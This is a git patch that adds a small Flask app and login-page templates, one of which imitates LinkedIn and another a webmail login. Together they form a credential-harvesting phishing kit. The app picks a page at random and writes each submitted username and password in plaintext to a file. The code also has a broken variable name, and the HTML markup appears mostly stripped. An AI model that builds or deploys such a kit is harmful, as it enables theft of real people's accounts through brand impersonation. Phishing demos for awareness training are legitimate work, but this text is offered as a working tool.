From 2d1a295d4d2162569b6be15455189b87a2b11282 Mon Sep 17 00:00:00 2001 From: Adam Jurkiewicz Pythonista Local Date: Tue, 3 Feb 2026 12:18:34 +0100 Subject: [PATCH] 1st test --- app.py | 26 +++++++ templates/clean.html | 28 +++++++ templates/linkedin.html | 169 ++++++++++++++++++++++++++++++++++++++++ templates/webmail.html | 140 +++++++++++++++++++++++++++++++++ 4 files changed, 363 insertions(+) create mode 100644 app.py create mode 100644 templates/clean.html create mode 100644 templates/linkedin.html create mode 100644 templates/webmail.html diff --git a/app.py b/app.py new file mode 100644 index 0000000..295fb9f --- /dev/null +++ b/app.py @@ -0,0 +1,26 @@ +from flask import Flask, render_template, request, redirect, url_for +from random import choice + +app = Flask(__name__) + +tmpls = ('clean.html', 'webmail.html', 'linkedin.html') +tmpl = choice(templs) + +@app.route('/', methods=['GET', 'POST']) +def login(): + if request.method == 'POST': + # Pobieramy dane z pól formularza (atrybut 'name' w HTML) + uzytkownik = request.form.get('login') + haslo = request.form.get('password') + + # Zapisujemy do pliku (tryb 'a' oznacza dopisywanie - append) + with open('logins.txt', 'a', encoding='utf-8') as f: + f.write(f"Użytkownik: {uzytkownik} | Hasło: {haslo}\n") + + return "

Dane zostały zapisane pomyślnie!

Wróć do logowania" + + # Jeśli metoda to GET, po prostu wyświetlamy stronę + return render_template(tmpl) + +if __name__ == '__main__': + app.run(debug=True) diff --git a/templates/clean.html b/templates/clean.html new file mode 100644 index 0000000..f3e6dd1 --- /dev/null +++ b/templates/clean.html @@ -0,0 +1,28 @@ + + + + + + Strona Logowania + + + + +
+

Zaloguj się

+ + + + + + + +
+ + + diff --git a/templates/linkedin.html b/templates/linkedin.html new file mode 100644 index 0000000..2d93542 --- /dev/null +++ b/templates/linkedin.html @@ -0,0 +1,169 @@ + + + + + + Zaloguj się | LinkedIn + + + + +
+ Linkedin +
+ +
+ +
+ + + diff --git a/templates/webmail.html b/templates/webmail.html new file mode 100644 index 0000000..b3b1051 --- /dev/null +++ b/templates/webmail.html @@ -0,0 +1,140 @@ + + + + + + Webmail :: Logowanie + + + + +
+ + +
+
+ + +
+ +
+ + +
+ + +
+ + +
+ + +